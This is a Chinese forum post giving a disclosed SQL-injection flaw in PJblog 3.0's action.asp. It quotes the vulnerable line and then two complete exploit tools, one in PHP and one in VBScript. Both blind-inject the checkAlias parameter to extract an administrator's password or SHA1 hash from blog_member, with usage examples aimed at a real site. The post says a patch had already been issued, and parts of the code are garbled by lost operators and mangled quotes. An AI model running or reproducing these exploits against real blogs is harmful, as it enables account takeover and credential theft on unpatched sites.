影响版本:3.0
信息来源:零客网安 www.0kee.com
Author:bink
漏洞文件:action.asp

第14行:

Vb 代码复制代码
  1. strcname=request(“cname”)
  2. set checkcdb=conn.execute(“select * from blog_Content where log_cname=”“”&strcname&“”“”)

Exp:

Php 代码复制代码
  1. <?php
  2. /*
  3. PJblog V3.0 0day exp
  4. code by 小蟑螂&bink
  5. www.0kee.com    www.t00ls.net
  6. 09.04.22
  7. */
  8. $url=“http://www.pjhome.net”;    //注入地址
  9. $var_name=“puterjam”;    //管理员
  10. $var_key=“check_right”;
  11. if ($_SESSION["LenI"]){
  12. $LenI=$_SESSION["LenI"];
  13. }else{
  14. $LenI=1;
  15. }
  16. for($i=$LenI;$i<=40;$i++){
  17. if($_SESSION["LenDo"]){
  18. $StaAsc=$_SESSION["LenDo"];
  19. }else{
  20. $StaAsc=31;
  21. }
  22. echo “Scan password len:”.$i.“ ;asc form ”.$StaAsc.“ to 127″;
  23. for($j=$StaAsc;$j<=127;$j++){
  24. $newurl=$url.‘/action.asp?action=checkAlias&cname=firebug_plugins_firediff”%20and%20%28select%20top%201%20asc%28mid%28mem_password%2c’.$i.‘%2c1%29%29%20From%20blog_member%20where%20mem_name=\”.$var_name.‘\’%29%3e’.$j.‘%20and%20″1″=”1′;
  25. $var_pagelen=file_get_contents($newurl);
  26. $var_newpagelen=strpos($var_pagelen,$var_key);
  27. if($var_newpagelen == true){
  28. $_SESSION["tmpPassWord"]=$_SESSION["tmpPassWord"].chr($j);
  29. unset($_SESSION["LenDo"]);
  30. $_SESSION["LenI"]=$i+1;
  31. doReload();
  32. break;
  33. }
  34. if($j == $StaAsc+10){
  35. doReload();
  36. break;
  37. }
  38. }
  39. }
  40. if ($_SESSION["LenI"]==40 && !($_SESSION["LenDo"])){ echo $_SESSION["tmpPassWord"]; }
  41. function doReload(){
  42. ?>
  43. <script language=“javascript”>
  44. <!–
  45. window.setTimeout(‘location.reload()’,1000);
  46. //–>
  47. </script>
  48. <?php
  49. }
  50. ?>

此文发布时官方已经打了补丁

雨中风铃的投递

漏洞具体细节请看http://0kee.com/read.php?tid-908.html,我的电脑上没有安装php,就编写了一个Vbs版漏洞利用工具,具体代码如下:

Vb 代码复制代码
  1. If WScript.Arguments.Count <> 2 Then
  2. WScript.Echo “Usage: Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名”
  3. WScript.Echo “Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam”
  4. WScript.Quit
  5. End If
  6. attackUrlWScript.Arguments(0)
  7. attackUserWScript.Arguments(1)
  8. attackUrlReplace(attackUrl,“\”,”/“)
  9. If Right(attackUrl , 1) <> ”/“ Then
  10. attackUrl = attackUrl & ”/
  11. End If
  12. SHA1Charset = ”123456789ABCDEFJ
  13. strHoleUrl = attackUrl & ”ction.asp?action=checkAlias&cname=0kee“”
  14. If IsSuccess(strHoleUrl & ”r “”1“”=“”1“) And Not IsSuccess(strHoleUrl & ”and “”1“”=“”2“) Then
  15. WScript.Echo ”恭喜!存在漏洞
  16. Else
  17. WScript.Echo ”没有检测到漏洞
  18. WScript.Quit
  19. End If
  20. For n=1 To 40
  21. For i=1 To 17
  22. strInject = strHoleUrl & ” Or 0<(Select Count(*) From blog_member Where mem_name=‘” & attackUser & ”‘ And mem_password>=’” & strResult & Mid(SHA1Charset, i, 1) & ”‘) And ”"1″”=”"1″
  23. If Not IsSuccess(strInjectThen
  24. strResultstrResultMid(SHA1Charseti-11)
  25. Exit For
  26. End If
  27. strPrintchr(13) & “Password(SHA1): ”strResultMid(SHA1Charseti1)
  28. WScript.StdOut.Write strPrint
  29. Next
  30. Next
  31. WScript.Echo Chr(13) & Chr (10) & “Done!”
  32. Function PostData(PostUrl)
  33. Dim Http
  34. Set HttpCreateObject(“msxml2.serverXMLHTTP”)
  35. With Http
  36. .Open “GET”,PostUrl,False
  37. .Send ()
  38. PostData = .ResponseBody
  39. End With
  40. Set HttpNothing
  41. PostData =bytes2BSTR(PostData)
  42. End Function
  43. Function bytes2BSTR(vIn)
  44. Dim strReturn
  45. Dim IThisCharCodeNextCharCode
  46. strReturn“”
  47. For I1 To LenB(vIn)
  48. ThisCharCodeAscB(MidB(vInI1))
  49. If ThisCharCode < &H80 Then
  50. strReturnstrReturnChr(ThisCharCode)
  51. Else
  52. NextCharCodeAscB(MidB(vInI11))
  53. strReturnstrReturnChr(CLng(ThisCharCode) * &H100CInt(NextCharCode))
  54. II1
  55. End If
  56. Next
  57. bytes2BSTRstrReturn
  58. End Function
  59. Function IsSuccess(PostUrl)
  60. strDataPostData(PostUrl)
  61. ‘Wscript.Echo strData
  62. if InStr(strData,“check_error”) >0 then
  63. IsSuccessTrue
  64. Else
  65. IsSuccessFalse
  66. End If
  67. ‘Wscript.Sleep 500 ’让系统休息一下
  68. End Function

用法:Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名

截图如下:

b703c

相关文章

本文还暂无回复

添加回复

支持 Ctrl+Enter 快速提交